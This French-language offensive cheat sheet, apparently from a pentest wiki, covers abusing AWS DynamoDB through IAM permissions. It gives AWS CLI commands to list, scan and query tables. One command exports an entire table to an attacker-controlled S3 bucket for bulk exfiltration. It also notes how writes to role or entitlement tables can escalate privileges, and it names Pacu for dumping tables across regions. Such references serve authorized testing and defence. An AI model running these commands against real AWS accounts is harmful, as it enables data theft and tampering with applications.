DynamoDB n'a pas de surface réseau : l'accès repose entièrement sur IAM. Un principal détenant dynamodb:Scan ou dynamodb:Query lit le contenu de la table directement via l'API, et dynamodb:ExportTableToPointInTime déverse une table entière vers S3 pour une exfiltration en masse. Les actions d'écriture (PutItem, UpdateItem, DeleteItem) permettent d'altérer l'état de l'application, ce qui compte lorsque la table sous-tend l'autorisation ou des soldes.
Lire des tables#
aws dynamodb list-tables
aws dynamodb scan --table-name <t> --output json # whole table
aws dynamodb query --table-name <t> \
--key-condition-expression 'pk = :v' \
--expression-attribute-values '{":v":{"S":"tenant#1"}}'
Export en masse vers S3#
aws dynamodb export-table-to-point-in-time \
--table-arn <arn> --s3-bucket <attacker-or-reachable-bucket> \
--export-format DYNAMODB_JSON
Notes d'exploitation#
Scanest coûteux et paginé ; les grandes tables sortent plus vite via l'export point-in-time, qui requiert que la table ait la PITR activée.- Les écritures sur une table qui stocke des rôles, des droits ou des feature flags peuvent constituer une élévation de privilèges au niveau applicatif, indépendante d'IAM.
- Les streams (
dynamodb:GetRecordssur le stream d'une table) laissent fuir les modifications en cours là où ils sont activés.
Outils#
- AWS CLI (
dynamodb scan,export-table-to-point-in-time). - Pacu (
dynamodb__scan) : énumérer et déverser des tables à travers les régions.